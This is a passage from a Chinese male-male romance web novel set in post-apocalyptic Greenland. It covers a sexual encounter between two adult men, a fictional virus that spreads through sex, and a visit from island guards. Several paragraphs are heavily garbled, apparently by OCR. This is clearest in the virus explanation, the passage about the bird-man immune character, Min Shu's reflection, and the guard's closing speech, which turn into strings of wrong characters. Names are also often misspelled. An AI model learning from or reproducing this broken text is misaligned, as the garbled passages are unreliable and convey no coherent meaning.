可魏长川隐在黑暗里,一言不发,闵疏无从判断他的态度,一时的冲动渐渐被心中生出羞臊蚕食了干净。片刻后,他抿了抿唇,率先错开了目光,低下头涨红着脸下了床然而就在他试图从魏长川身边绕过去的时候,男人拦住了他:“去哪?"闵疏低着头,不敢看他:“…浴室。”魏长川沉默了一会儿,似是在斟酌这话该不该说,最后还是道:“你要自己弄?"闵疏呼吸一乱,脸红得能滴出血来。他不明白魏长川怎么忽然变得这么不讲道理,几乎是有点赌气地拾起头:“我去洗冷水澡。说罢就闷头朝前走。然而他不知道,这句话给了捕食者一个绝佳的借口。他还没能走出两步,就被一股巨力拽住,失去重心,直接向后倒回了床上。
“啊!”
闵疏惊叫一声,不是因为摔疼了,而是因为魏长川从来没有用这么大的力气拽过他,男人对待他一向迁就而克制,甚至还有点小心翼翼,然而此时的魏长川显然不是如此了。
闵疏倒在床上,下一瞬就见面前高大的人影覆上来,魏长川一条腿搭上床沿,手搂住他的后腰,低下头在他耳边说了句话:
“洗冷水澡会感冒。” 男人声音低哑,像是砂纸磨过他的耳廓:“我帮你。
夜晚,岛上刮起了大风。这在冬季的格陵兰很常见,院子里的雪橇犬一个叠着一个地睡在几块木板搭成的窝里,毛茸茸地裹成一团,丰厚的皮毛和充足的能量储备让他们不惧严寒。地上的松软的积雪被大风掀起,飘散在空中形成雪雾,能见度极具降低,「中餐丁」的招牌在灰白的天幕中闪着微光,其中”丁’字的灯管正在不断闪烁,看起来即将寿终正寝屋内,气氛并没有被外界的风雪侵扰。卧室内暖气充足,缩在被窝里头的人不会觉得冷,甚至可能还会觉得有点热闵疏脸颊潮红,死死抿着嘴唇,将头靠在男人坚实的颈窝上,后颈弯出一道紧绷的线条魏长川分出一只手,轻轻揉弄他脖颈处紧绷的肌肉:“难受吗?"闵疏说不出话,怕一张口就是呻*吟,只能埋在男人的颈窝里点点头
“哪里难受?” 魏长川问。
闵疏呼吸急促,挣扎了好一会儿,才勉强控制住了声音:“轻轻一点。
虽然极尽控制,他的尾音还是有些颤抖,听起来有点可怜。魏长川没有回答,过了一会儿,才道:
“还要轻啊?"
那声音里带了点笑意,似是有些无奈。闵疏羞耻到了极点,耳根通红,几乎将自己的身体蜷成虾米,头死死埋在魏长川的颈窝里。过了一会儿,闵疏发出一声紧绷到了极点的呜咽,手指在男人裸露的胸膛上留下几道抓痕。在几秒之内,闵疏几乎是没有意识的,他耳边嗡嗡作响,过了好一会儿,那尖说的耳鸣才散去。他先听到了是自己急促的喘息,接着是魏长川低缓的声音:“放松。” 一只手按在他颤抖的脊背上,安抚般地往下捋:“慢慢吸气。闵疏下意识地道从了他的命令,颤抖着吸进一口气,又缓缓吐了出来,这样几次,浑身紧绷的肌肉才缓缓放松下来,不过还有些发抖,脱力般地伏在魏长川怀中。魏长川揽着他,没去管胸膛上的东西,轻轻拍着怀里人单薄的背,执起他的手,在那不断颤抖的五指上印下轻轻一吻:“没事了。”就这样安抚了许久,闵疏才彻底平复下来。他在男人颈窝中侧过头,汗水的额发蹭在对方线条流畅的肌肉上:"哥.….”! 他看到男人身上自腹部到胸膛的痕迹,羞耻地几乎说不出话,如果不是现在没有力气,他大概会在床上创出个坑把自己埋起来:"你.…你身上脏了。“嗯。” 魏长川倒是表现地很平静,他放下闵疏的手,姿态从容地直起身:“我去冲个澡。闵疏没说话,男人离开之后,他便把自己缩到了被子里,崩溃般地将脸埋进手心。简直是太丢人了。
闵疏根本没办法面对脑子里在刚网短暂的断片后出现的画面,他之前也不是没有过,在上岛之前,大学男生宿舍里头什么牛通都助欣,青春源动的男生们手机里的东西简直看都不能看,他也有过好几回,但没有哪一次,像今天一-样
也不知道是太久没有了,还是别的——闵疏沉痛地反思了一会儿,觉得还是魏长川的过错。都怪他不穿衣服,用那种声音在他耳边说话,力气还那么大。
他正在心里暗戳戳地怪人,就听到浴室里的水声一停,接着门被打开了,魏长川从里面走出来,手上拿着一张湿帕子:
“过来。“他冲床上鼓起的一个小包道:“我给你擦擦。
于是闵疏不得不从被子里爬出来,面对让他难堪的罪魁祸首,
魏长川把他擦干净后,又去将帕子洗了晾起来,这才回到床上,将闵疏搂在怀里。这次他怕冷着青年,是洗得热水澡
刚做了那种事,两个人都不困了,魏长川所幸打开了床头的小灯。
被窝里温暖而干燥,只有沐浴露轻柔的花香,闵疏很快放松了下来,头枕在男人坚实的肩膀上。
魏长川搂着他,手放在闵疏的背上,顺着青年突出的脊背一节一节按揉下去。闵疏被他按得很舒服,微微眯着眼睛,忍不住哼哼了两声
魏长川见状,心道刚才倔成那样,都挠人了还愣是一声不吭,现在倒哼哼起来了。
他按了一会儿,忽然问:“你每次都这样吗?"
闵疏一愣,接着骤然睁开了眼睛,脸色’唰”地一下红了。真是哪壶不开提哪壶,他有点羞恼,不敢抬头,吭哧吭哧地道
“也….也不是每次
正当他搜刮肚肠准备找个什么借口为白己刚才的反应开脱时,魏长川不置可否地’嗯’了一声,接着道:
“我没有和别人做过这种事。"他说,接着看向闵疏:“你呢?
闻言,闵疏一顿,接着惊讶地拾起头,便见魏长川垂眸看着他,黑沉的眼眸中落着床头灯的暖光,透着些许柔和。
闵疏忽然福至心灵,道:“…我也没有。
在魏长川暗暗闪烁的目光中,他凑近了些,主动伸出手,环住了男人的腰:“一次都没有过。
魏长川听了,面上露出些许微不可查的笑意,握住了青年揽在自己腰上的手臂,低下头:“喜欢我帮你吗?"
他说活时,嘴唇几乎蹭到了闵疏的耳廓上,闵疏耳边是自己如雷般的心跳,耳膜随着心脏一起鼓动,过了许久,才听到自己低若蚊鸣的声音:
"喜欢。”
“乖。” 得到肯定的答复,魏长川在他耳边给与夸奖,接着,闵疏感到一个轻柔的吻落在他的额角:“我也喜欢你。
男人比往日更加柔和的声音落在闵疏耳边,好半天,
,闵疏才回过神来
瞪大了眼睛看向魏长川:.
哥你说什么?"
魏长川搂着他,重复了一遍:“我说我喜欢你。"说着低下头,在闵疏上翘的眼尾落下一吻,低声叫他:“宝宝。
闵疏只觉得耳边轰然一声,接着脑中一阵眩晕,感觉浑身像是被火烧了一样,一阵战栗顺着脊椎窜上,几乎是立即就有了反应魏长川正在亲他的耳鬓,也感觉到了,含了一下他的耳垂:“还想要?"闵疏浑身一抖,几乎是立刻从喉咙里发出了一声小猫般的鸣吧,魏长川也没指望他真的回答,虽然屋里有暖气,但他不想让设疏冷着,手安般地拍了拍闵疏的肩膀,便放开了他,俯身朝被子下面钻去
当夜,闵疏都不知道自己是怎么睡着的。
或者说,他是直接晕过去了。
第二天,闵疏坐在餐桌前,脸色微微苍白,浑身轻飘飘的,身体里一点力气都没有。
好像灵魂也跟着飞走了。
这时,魏长川端着早餐从后厨里走了出来,闵疏拾起头,便见他身上只穿了件短袖,肤色微深的手臂露在外面,额发有几缕支棱着,眉毛和头发一样乌黑,垂着服将餐盘放在他面前:
“吃吧。”
今天的早餐是魏长川做的,用的北美基地提供的物资,阅疏低头一看,盘子里装着两个鸡蛋,两条培根,两片用黄油烤得焦香的切片面包,魏长川没微说,他确实会做饭,不过看起来仅限于简餐。
闵疏看着早饭,好半天没有动作。
魏长川也没去坐下,手撑在桌面上,垂头看着闵疏:“怎么跟傻了一样。
闵疏一个激灵,这才回过神来,抬头看向魏长川:“哥我吃不下这么多。
魏长川看着他,青年小尖脸白白的,眼圈还泛着粉,目光有点茫然,直跟个可怜的小傻子一样,他觉得怜惜,又觉得可爱,忍不住低头在阅疏微张的唇边亲了一下:“能吃多少吃多少。
闵疏被亲了一下,’唔”了一声,遂低下头拿起面包吃了一口,味道很不错不过早餐果然是多了,阅疏勉强将培根、一片面包,和一个煎蛋吃了,剩下的都进了魏长川的肚子里。
吃完早饭,阅疏总算觉得糟神好了一点,看着魏长川哈自已续上咖啡,接着从后用端出一杯水,放在设饰面前,闵疏低头一看,发现那是一杯红枣姜茶、是北美基地四外传寻亚洲食品。不知以哪儿校到,和速溶加隆一起衰在物资用运讨来的
闵疏有点诧异地抬起头:“哥,你给我泡这个干什么?"
魏长川端着咖啡,抬眸看了他一眼:“给你补补气血。
闵疏的气血不足是摆在明面上的,脸色十年如一日的苍白,手脚呈现出血运不通的冰冷。昨天吃了鹿肉,只弄了两回,一次比一次短,弄完就乖乖躺着了,后半夜醒都没醒一次。
闵疏:.总感觉,被嘲笑了。想起昨晚的事,闵疏的脸红了红,觉得有点丢脸,魏长川的告白来的猝不及防,他好半天都没反应过来,后来就被稀里糊涂地哄着做了那种事,体力支撑不住就睡着了,也没来得及细问,闵疏抬头看了眼魏长川,抿了抿唇:“哥.我们、现在算是在谈恋爱吗?"
魏长川一顿,抬起眼:“当然。
闵疏听了,觉得有点不真实,恍梅地“哦”了一声,这人前面还遮遮掩掩,一说起这个就顾左右而言他,不肯把话说清楚。怎么怨然就坦白了呢?是因为昨天做了那种事吗
闵疏的脸微微红了红,抬眸看了眼魏长川:“哥是觉得.做了那种事所以要对我负责吗?"
魏长川闻言,顿了顿,忽然伸手执起了他放在桌上的手:“是。
他本来不应该那么做,但还是没忍住。魏长川心里有对自己的谴责,却没有多少悔意
和资际结在一起,这样的事早除都会发生,这里太温暖,广大天地只有你我二人、魏长川心知自己冷静和克制早已经发发可后,如果他用日时成功高岛,或许还能有办法克制,可那条鲸鱼挡住了他,在某种程度上来说像是变相地将他交给了阅疏。
百
念16
另一边,闵疏的心态就轻松多了。
母胎单身二十七年的他真的有男朋友了!
闵疏想着,觉得有点高兴,眼睛亮了起来,唇角浮现出笑意,有点激动地拉住了魏长川的手:“哥,那你以后就是我的男朋友了。
魏长川握着他的手:“嗯。
闵疏看着他,心里喜滋滋的。有这么个大帅哥做男朋友,要是换作未世前,他一定要拍九宫格全平台秀一遍恩爱,真给他谈到帅的了!
不仅人长得帅,身材还好,声音也好听,还有一份体面的体制内工作——闵疏甚至觉得把他领回家孤儿院的阿姨们也会很喜欢。
闵疏想着,高兴得有点发飘,然而就在这时,魏长川握住他的手忽然紧了紧:“只是有一件事我要告诉你。
闵疏笑盈盈地’嗯’了一声:“你说。
魏长川保持着与他五指交握的姿势,抬起眼,以很严肃的态度道:“我们不能做“爱。
有一瞬间,闵疏甚至觉得是他的耳鸣犯了,要不然就是幻听了,他保持着微笑的表情,问:“哥.你说什么?"
魏长川重复了一遍:“我们不能性*交。"
闵疏:…!!!
这下,闵疏彻底听懂了。他震惊地长大了嘴,目光下意识地魏长川的裤子上看,脸色一阵变幻,接着赶紧收起了自己脸上惊讶的神色,拾眼小心翼翼地看向魏长川:“.…” 他咽了口唾沫,仔细斟酌自己的措辞,小声道:“没关系,我都理解的,而且我也差不多。“他害怕伤了魏长川的自尊心,当即起警道:“我发誓,绝对不会因为这件事嫌弃你!
魏长川:…他看着闵疏,半晌后,缓缓眯起眼睛:“你看我像是有问题的人?“你看着不像。”闵疏真诚地说:“但人不可貌相啊哥!你放心,我绝对没有任何歧视——哎哟!魏长川按住了他的麻筋,闵疏一下子软倒在了桌面上,不住地求饶:“哥、哥!我错了我错了!快放开我魏长川这才放开他的手,看了闵疏一眼,神情似是有些无奈,低头掐了掐眉根:“我没有生理问题。闵疏揉着自己的手腕,可怜兮兮地抬起头,看了眼魏长川,小声问:“那、那为什么不能啊?闻言,魏长川拾起眼,凝视了他片刻。接着微微倾身,将双手放在了桌面上。这是个有些正经的姿势,闵疏知道他是有重要的话要说,登时更疑惑了。“你还记得’Z’毒株吗?” 魏长川道。闵疏一愣,接着隔了一会儿才想起来。在那个魏长川给他看过的小册子上记录了「X」,「Y」,「Z」三种毒株。其中只有Z毒株下面没有详细的介绍.“Z毒株是免疫者体内存在的病毒。“
魏长川道:
“一开始所有人都以为免疫是抗体的作用,但是后来通过研究发现某些特定的被病毒感染者体内,[X和Y]毒株会由于一些未知的理由变异为[Z」毒株,该感染者会从此拥有对于前两种病毒的免疫能力。
“而同时,”魏长川抬起眼,看向闵疏:“Z毒株也具有传染性,只不过传染的方式与前两种不同。
闵疏闻言一愣,心中忽然生出不好的预感:“…什么意思?"
魏长川沉默了片刻,道:“你知道艾*滋病吗?"
闵疏茫然:“知道.” 接着,他脑中电光闪过,神情一变,不可置信地看向魏长川:“你、你是说——"
闵疏如遭雷击,整个人僵住,张着嘴巴震惊地看着魏长川。
26、基地真相
Z毒株,传染,免疫——闵疏张着嘴,觉得耳边嗡嗡作响,愣了许久都没回过神,这都什么跟什么啊!!
他只在高中学过生物,那点儿知识早都被他忘到姥姥家了!再说魏长川口中的这些似乎也不是教科书上的生物知识可以解释的事,闵疏太阳六突突直跳,头疼地抬起手按了按额角。
“也就是说——”他抬眼看向魏长川,有些犹豫地道:“如果我和哥那、那个的话,我也会被Z毒株感染?”
魏长川看向他:“对。”
“但是你之前不是说免疫者在变异的过程中会留下后遗症吗?”闵疏问。
长点了敲“足。”他接有解释道“震粒这种病毒的人无论南株类别,都会在24内发病,其中一些感来者会经历变吊体内的南株由最初感的X或M效门,在这个过程中,病奇会持续人体一些人会留下后画症。
他说到这儿,顿了顿道:
“其中比较常见的是病毒攻击神经系统,造成精神问题。”
闵疏闻言了然:“你是说那天的鸟人先生?”
魏长川点了点头:“对,他是一个例子。”
自古以来病毒感染所造成的精神问题展见不鲜,比如历史上成名赫赫的构毒。在二十世纪初,梅毒所造成的精神障码曾经非常普遍因感染构毒而精神失常的名人也非常多,其中不乏些名艺术家和科学家。
代rN的金发男人品 两政之后性质大的阳7之、,他未起的起个甜风,而相是个正的回人,在的百机和出,2加政只之后的地百口英项弧日据偏六面,表湖两人网地大,从个m0用成决电了口乡到不的大 子相C的免短者在基地井不少见,或者说,大多数免疫者都或多或少有些精中方面的回题,但回时,Z南件应染造成的基因突也能注免疫者得独特的能力,比如说鸟人身后长出的趣略,魏长川异于常人的身体泰质等等,都是之高株带来的作用
“遭到[X]和[VJ毒株感染的人中只有不到1%可以获得免疫,其余的都会发病死亡。”
魏长川神色平静,叙述道:”直接接触Z毒株有20%的机率可以获得免疫,剩余80%的感染者会死于副作用。”
闵疏听着,几乎是立刻注意到通过感染/毒株得到免疫的成功率有20%,比感×和Y毒株之后获得免疫的概率要大得多而,紧接着,他灵光闪,忽然想起了什么,抬头无比震惊地看向魏长川“哥,那……那之前你跟我说,有些基地里的普通人会跑到外城去,和免疫者住在一起,难道是因为想要 ”魏长川闻言,似乎也知道他要说什么,直接道:“一些人会试图通过接触乙毒株的途径获得免疫。”
比直接接触病毒的九死生,通过获得2毒株的方式获得免疫至少有两成的成功率。这对于忍受不了随时有可能感染军毙的压力和地下基地略无天日生活的人中无疑是一条险中求生的道路。
与免疫者发生关系可以适按 高株,跑过之前的变异和选,如果的够感来带来的国个用,就能步安天直按收相免疫,之后不能够白由地在外界行走,还可以此钢底购因内病高感染而生的或的,这个价面E/对在宜应中争扎的人们知而检
因而虽然基地明令禁止免疫者与普通人发生关系,每年依旧有源源不断的人从基地偷渡到外城。
免疫者当中也不是所有人都遵守规则,或者说外城这些精神状态堪忧的免疫者大多都会欣然接受送上门来的肉,在这些逃出基地的人中找出一个符合自己审美的当情人养在身边。
这些普通人在享受免疫者提供的底护和资源的同时,也默认了被虑染的风险,他们或许会被免疫者携带的乙毒株感染,成为那20%的幸运儿,从此获得免疫,又或许会被外界病毒感染,最终命,一切全凭天命。
这种类似俄罗斯转盘式的投机无异于用命赌博,大部分人最后等到的还是一颗子弹。
但未世下文明崩溃,比起只能保障基本生活、日子暗无天日的基地,这一线缥缈的希望已足以吸引一些愿意冒险的人。
知道了真相,闵疏登时倒吸了口凉气:“原来是这样。”震惊之下,他低声喃喃道:“所以基地才不允许免疫者和普通人谈恋爱….”
闵疏终于明白这条古怪的规定是从哪来的了,果然每条看似奇葩的规定后面都是有相对应的理由的。
闵配吧看,不碟岗8V情有些师画,双和有联长K108述,他巴经饱色到术世的7面与画,在与病毒的 中,人类乎已被国人绝统,生行空回磁根日压输,甚至不得不移附的地下,让们不借付出如tE大的t价,起全牵生全创临,只为厘联由
然而闵疏不知道的是,魏长川所向他描述的已经是在未世之下较为“温和''的情况了。
所有需求就有买卖,在未世的背景下,外城中催生了一种机乎在每个文明发展史上都会出现的经济态—I黑市.黑市中贩支的商品基可以分为两类,一类是由免疫者出售的、在劣质小作坊中制作的血高,另类规是昔画人来贩卖自己
其中,血清的贩卖相对容易管控,而后者则难以监管得多。
想从基地跑出来的普通人源源不断,一些行为更加恶劣的免疫者,在家里养两个三个的都有。
基地的规定在某种层面上来说算是名存实亡,虽然会严格控制基地人员的出入,尽量减人员流失,但对于自愿跑到外面去的偷渡者,基地出于安全考虑,也不会再接纳他们。
北美基地作风此远东基地更开放,所以那天代号鸟人的北美免疫者会看到岗疏,就以为他和魏长也是那种关系,还以为是以作风保守冷面无情著称的[士兵终于开了窍,学会在未世里找乐子了。
不过这些污糟的事情魏长川不打算让闵疏知道,他只是强调:
“这种方式是不可取的,风险太大。”他看向闵疏,略微加重语气:“也别想着用这种方式获得免疫,知道了吗?”
闵疏立即乖乖点头:“我知道了哥,我绝对不会有这种想法的。”
闵疏有绝对的自知之明,他没自信能成为那20%,就他这小身板儿,随便一场高烧都可能会很危险,绝对熬不过感染的副作用。
说到这儿,两人间有一瞬的沉默。
这个话题本身是有点沉重的,也很严肃。
但是这种传播途径,加上两人刚刚确定关系,似乎又在沉重之外加上了层别样的色彩,让气氛变得有些飘忽不定起来。
闵疏有点混乱的同时,心里又有点辛痒的。他作天被魏长川I凶狠的方式吓到了,以为会被吃掉,早上蒿啦吧即的,屁都不政放一个,但现在听间魏长川不能真的跟他干什么,反倒有些真套欲动
"那……."他望向魏长川,试探地说:“我、我们就只能——柏拉图了?”
语气好像有点遗憾一样。
魏长川顿了顿,眉梢动,抬起眼:“怎么,不满意?”
“不不不不—”闵疏秒跪,急忙表明立场:“特别好,特别好,没有不满意,咱们就谈谈纯粹的恋爱挺好的!”
魏长川看了看他,淡淡嗯了一声。
闵疏觉得两个人就只谈谈恋爱,牵牵小手的也挺好。
他也是大始上花轿头回,作为正宗的小雏鸡,虽然理论知识满分,但昨天响上惊鸣管下感觉到的乐西显然不是靠理论就的时付得了的,二来他没哈浪浸主义天分,觉得在做那种事的时据因为染病毒保先而亡实在足有点大超过了.
但是……
闵疏又有点扭扭捏捏的,眼神飘来飘去,手挠了挠自己的额角,看看桌面,又抬起眼,往魏长川的帅脸上看眼,小声问:
亲嘴也不行吗?”
魏长川:……
他抬眼定定看着闵疏,眉尾下压,下颌微微收紧,似乎是在克制什么又没忍住,终究还是道:
“别这么色。”
27、极夜漫漫
闵疏:!!!
这个人怎么这么不要脸!
闵疏瞪大了眼睛,出离地愤怒了,心想这人还好意思说他,搞得好像他只有他一个人很色一样!明明这个人昨天也很凶,把他这样那样还那个了—魏长川看着青年瞪圆的凤眼嘴角出现闪过一缕微不可查的笑意,而后正色道:“危险的那种不行。”闻言,闵疏的脸红了红,抿住唇,看了魏长川一眼,小声道:.……那哪种不危险?”魏长川看着他,半晌后站起身,手撑在桌面上,俯身亲了亲闵疏的白皙的脸颊。
“这种不危险。”
闵疏侧过脸,配合地被他亲了一口。魏长川亲了他,却保持着俯过身体的姿势没有动。闵疏看了他一眼,敛下眸,微红着脸道:“还有呢?”闻言,魏长川顿了顿,接着低下头,将吻轻轻印在了闵疏的双唇上。这个吻一触即分,比羽毛还要轻柔。“这样的也可以。”魏长川柔和地说。
男人在他唇上留下了点点温度,闵疏抿了抿唇,眸光闪动,抬手环住魏长川的脖颈:“好嘛。”闵疏嘟了嘟嘴,小声哼唧:“那我就勉强接受了。”
魏长川真成了他的男朋友。过了好几天,闵疏都对这件事没什么实感。也许是由于在正式把话说开之前,他们已经同居了这么久,每天抬头不见低头见,彼此都很熟悉了。确定关系之后,两个人的生活也没什么变化,闵疏负责做饭,魏长川则包揽了其余所有家务。
极夜当中,一天24个小时都被夜幕笼罩,大多时候在下雪,外头灰白一片,偶尔有时候不下雪,也只能看见天幕中几颗稀疏的星光。没什么事情好干,两个人天天窝在家里,魏长川闲着没事,将地板擦得雪亮,四处打扫得一尘不染。闵疏整天一起床就看见他穿着简单的裤子和上衣在打扫卫生。
那衣服有点小,绷在他身上,从背脊到手臂的肌肉线条清晰可见。他微垂着头,浓黑的短发垂在深刻的眉眼前,单看样子简直可以去拍杂志,手上却拿着把扫帚,怎么看怎么不搭。魏长川实是长了一张不会做家务的脸。他长得那么帅,眉目深邃,下颌和颧骨的弧度都透着不好说话的味道,一看就给人性格刚毅、甚至可能有点大男子主义的感觉。
而实际上魏长川与外表不符,是个居家好男人。
闵疏好奇地问他:“哥,你怎么这么会做家事啊?”
魏长川不觉得这个有什么大不了,平淡道:“以前在军队,多做就会了。”
闵疏闻言了然。在军队里确实事情都得自己做。他忽然想到大学军训时候的教官教他们把被子叠成豆腐块儿,校验成果的时候还要用尺子量。
他正想着呢,忽然见魏长川抬起眼,薄唇微启:“别挡路。”
闵疏:.…
他灰溜溜地让到一边,见魏长川走进卧室,俯下身捡起地上一只他乱扔的手套。
见状,闵疏有点不好意思,他其实没有魏长川爱干净。同时又在内心偷偷想,脾气不好那条是真的。
中午,两个人吃完饭,魏长川去洗碗,闵疏则在客厅里窝在小沙发上看电视。型号老旧的电视也被魏长川顺手修好了,不再发出滋滋的杂音,放节目的时候也不再会时不时变成雪花屏。闵疏放着小品,照例笑得前仰后合,结果得意过头。魏长川洗完碗进来,就见他捂着腰侧 唉哟''唉哟’地叫唤。
他走进客厅:“怎么了?”
闵疏捂着腰,疼得眼角泛泪光:“笑、笑岔气了。”
魏长川闻言,转头看向电视,发现上面正在放不知道多少年之前的春晚小品。
魏长川:…….
他回过头,眉峰微微挑起。闵疏从他的表情里看出一点嘲弄的意味,登时怒向胆边生,暴起道:“哥你笑什么!春晚可好看了—呃!”
见青年蹦哒了没两下就捂着肚子弯下腰,魏长川皱了皱眉,走上去将人扶住:“别乱动。“
可能是刚才那下扯到了肌肉,闵疏身子弯成了虾米,额上冷汗津津,捂着肚子哼哼唧唧地叫痛。
魏长川抓着他的手臂,道:“把腰直起来。”闵疏听了直摇头:“不、不行,直不起来—”
腰上一跳一跳地疼,闵疏下意识地弯腰,只想把自己蜷起来。这时,魏长川从身后拽着他退后了几步,接着,闵疏就感到自己屁股下面多了块坚实的肌肉。魏长川抱着他坐到了沙发上,手按着他的胯,让闵疏不得不舒展开身体。接着,他衣服的下摆被撩开了些,一个略微粗糙的指腹带着灼热的体温贴上腰侧正不断痉挛的肌肉,按揉起来。
闵疏:“唔。”
他有种被搔到痒处的感觉,不知道魏长川的手有什么魔力,他 按,腰腹间的疼痛就一下子缓解了。闵疏吸了口气,紧绷的肌肉逐渐放松下来,腰腹连带着手脚都变得软趴趴的。
“好点了?”魏长川在他耳边问。闵疏眯着眼睛,点了点头:“嗯……还是有点痛。“
魏长川继续给他揉。岔气的地方疼痛逐渐平复,魏长川改为用手掌给他按腰侧的肌肉。他的手温热而有力,闵疏舒服得直哼哼,像是只被人挠痒挠舒服了的猫。他哼唧了会儿,感到一只手伸过来,揉了揉他的头发。
闵疏于是哼哼了两声,略睁开眼睛:“哥,你揉得我好舒服。”
屋外夜色黑沉,屋内灯光昏黄,他的苍白的脸上映着壁火的暖光,上挑的丹凤眼微微眯着,露着半截细瘦的腰,像尾狐狸。
平时温顺柔和的青年,清秀的眉眼间却横生出丝缕魅惑来。
魏长川动作一顿,片刻后,收回了手。
闵疏正觉得舒服,不满道:“哥,再揉揉嘛。”
魏长川没有回答他。闵疏有些奇怪地抬起头:“哥,你怎么—”
接着,他话头猛地一顿,脸骤然红了。
有什么东西抵住了他的大腿。
闵疏骤然收声,也不敢动了。隔了一会儿,魏长川的手伸过来,继续帮他揉腰。
闵疏红着脸,抬头看了魏长川一眼,却见男人神情平静,脸都没红一下,像是无事发生一般按摩他腰侧的肌肉,力道也是恰到好处。
如果不是抵住他的东西还烫烫的,闵疏都要被他淡定样子骗过去了。
屋子里只有壁炉炭火中噼里啪啦的声音,暖融的空气中弥浸着一丝暖昧的气息。闵疏红着脸,一动也不敢动,过了一会儿,忍不住抬起头:
“哥……”他有点害羞,又有点尴尬地问:“那个……不用管吗?”
魏长川道:“不用管。”
闵疏于是安静下来,乖乖待在魏长怀里。除了那里,魏长川表现的都很淡然,甚至给他按摩完还用遥控器摁开了电视,继续放春晚小品。
喧闹喜庆的声音顿时充斥了整个房间,然而闵疏满脸红霞,眼神飘忽不定,一点也看不进去了。
他如坐针毡地呆了一会儿,期间瞥了魏长川不下十次,终于小声问:
“要我帮你吗?”
魏长川一只手撑着下颌,似乎是很认真地在看春晚,闻言,他回过目光,不轻不重地看了闵疏一眼:
“你别说话就是帮我了。”
闵疏:.…闵疏:.…“…困。”
好嘛,话也不准说了。闵疏在心里小声嘟囔了句’好凶,便撑起身体,准备从加热般人肉座椅上爬下去。然而就在这时,魏长川拦住了他:“到哪去?”“闵疏茫然地回过头:…我,我去别的地方待着。”魏长川不是要冷静吗?那他还是换个地方坐比较好吧,闵疏心想。然而魏长川抓着他的手却没放开,接着一使力,闵疏便被拽了回去,头一下子碰上了男人火热的胸膛,双腿被捞住,一点儿都动不了。
好吧,这是不让他走的意思。
闵疏只好安静地坐在男人怀里,不敢说话也不敢动,生怕把魏长川憋坏了。老旧的电视机里放着春晚的歌舞节目,锣鼓喧天的声响驱散了冬夜的寂寞。闵疏听着耳边男人深远的呼吸声,身体从一开始的僵硬到缓缓软化。
男人的怀抱很暖和,肌肉结实又不失柔软,支撑力满满,不得不说,人肉椅子就是比沙发舒服。闵疏枕在结实的胸肌上,不知不觉睡了过去。
不知过了多久,魏长川的声音传来:“……起来了。”
闵疏睫毛微颤,皱了皱眉,醒是醒了,但他睡得很舒服,不是很想起来,所以将脸往魏长川的胸膛处埋了埋,身子往男人怀里缩了缩。
“已经睡了一个小时了。“魏长川在他耳边说:“先起来,晚上再睡。”闵疏还是很困,不情不愿地哼唧了一声,双手抱住魏长川,闭着眼不愿起来。
魏长川显然对他的撒娇很受用,却没由他接着睡,俯身在他脸上亲了亲,又拍了拍背,低声叫他:“起来了。”闵疏这才不情不愿地睁开眼,在魏长川怀里神了个懒腰,耷拉着眉眼不想说话。
极夜之中没有日光,在永恒的黑暗之中只能 钟表调整作息,之前镇民都任的时候闵疏还能纯强保持作息,等人都走光了,他在极夜的几个月就制底眉夜颠倒了,通常是想起的时候就起,想睡的时候就睡。直到魏长川来了,强硬地实施了军事化管理,他们每天晚上十点睡觉,早上七点起床,中午只允许午休不超过一个小时,多一分钟都不行,彻底调理好了闵疏的作息。
但午睡真的很舒服,闵疏不禁抱怨道:”还是好困。“
魏长川用柔和的目光看着他,抬手捋过青年额角的头发,似是正要说什么,却忽然回过头机警地看向门口。
闵疏眨了眨眼,问:“怎么了?”
魏长川眯了眯眼,似乎是听到了什么:“门口有人。”
闵疏一愣,怎么会有人?可魏长川话音刚落,敲门声突然响起。
短促而响亮的咚咚”两声,把闵疏吓了一跳,还真有人?
这荒郊野岭的,会是谁?
“我去看看。”魏长川捏着他的腰将他从腿上放下,接着站起来,吩咐闵疏:“你就在这儿等着。”
闵疏赶忙一把拉住他:“哥,我也要去。”闻言,魏长川回过头,眉心浮现一道浅痕。
闵疏瞪大了眼睛看他,举起手道:“我保证乖乖的,不给哥添麻烦。”他道:“万一是镇上的人回来了呢?他们都不太会说英文,哥你也没办法跟他们交流啊。”这个理由还算充分,魏长川顿了顿,不置可否地回过头。闵疏赶紧屁颠屁颠地跟上。他们走出客厅,来到门口—外头正飘着细雪,天地间仿佛蒙上了一层薄纱。
闵疏透过窗户望出去,隐约瞥见院子里伫立着几道人影。
最前方那人站在大门口,身影笔直,随有距离拉近,闵疏透过窗户的玻璃看见那人身上穿看 套深色军装,启头的军敬在雪光中泛有冷冽的光泽,闵疏认出了那个标志,有些惊讶—竟然足格陵兰岛上的警卫组织
28、拜访
闵疏有些惊,他只在首部务克见到过岛上的警卫。因为格陵兰岛没有驻军,警卫队带点自D队的性质,兼有军警性质,负责岛上安全相关的一切事物。当时港口和机场关闭,闵疏就去过好几次警可询问什么时候能有船
闵疏顿时紧张起来:“哥,他们不会是查到我是黑户了吧?”
前面的魏长川停止脚步,偏过头看了他一眼。闵疏这才想起已经是末世了,没人会管他的签证到没到期、
魏长川可能是觉得他有点笨,顿了片刻才收回目光:“应该是来找我的。”
这时,门口再次传来敲门声:“魏先生,我们是警卫队。”
外面的人说的是英语,略带一点北欧口音,其中「魏」的发音不太标准,但闵疏也勉强听懂了,他们确实是来找魏长川的。
闵疏赶忙走上去开门,然而手刚放在门把上,就被魏长川抓住手腕:“别开门。”
闵疏一愣,接着便被拉到了一边:“离远点。”
闵疏被迫退后几步,看看魏长川l的背影忽然相起魏长川之前警告过他不能靠近陌生人,有点不好意思地摸了摸手臂。平和的小日子过久了,他总是忘记外头是危机四伏,随时都有可能会感染病毒的未世。
魏长川站在门口,也没有开门,只是隔着门板道:“是我。”
见他真的在,门外的人似是松了口气,道:“您成功登岛了,魏先生。”
魏长淡淡 嗯 了一声。外面的人接着用有些别扭的英文道:“我们于九月收到消息,按计划应该早点来接应您上岛,但由于首部发生了预料之外的事故,加上雨雪天气道路封闭,造成了延迟,实在非常抱歉”
闵疏站在一边,听了一耳朵,微微张开了嘴。原来岛上是应该有人接应的,是因为意外事故才导致没人来,让魏长川被他捡到了。
魏长川没什么表情:“没事。“
为白的人听a这话,松工口气 川E几T现的人生地中权后的的突设治之一,在窗安限发的几年中,拟效率和任务应动率和同伤的,这 方带音化住务的,远东基地民的了N个月航D了尚兰方面,如果因内独应不及面圆了任务,他的在4航了.
为首的警卫抬起头,看向飞雪中散发着微光的招牌——谁知道这座被严寒侵袭的小镇上居然会有这种餐馆。
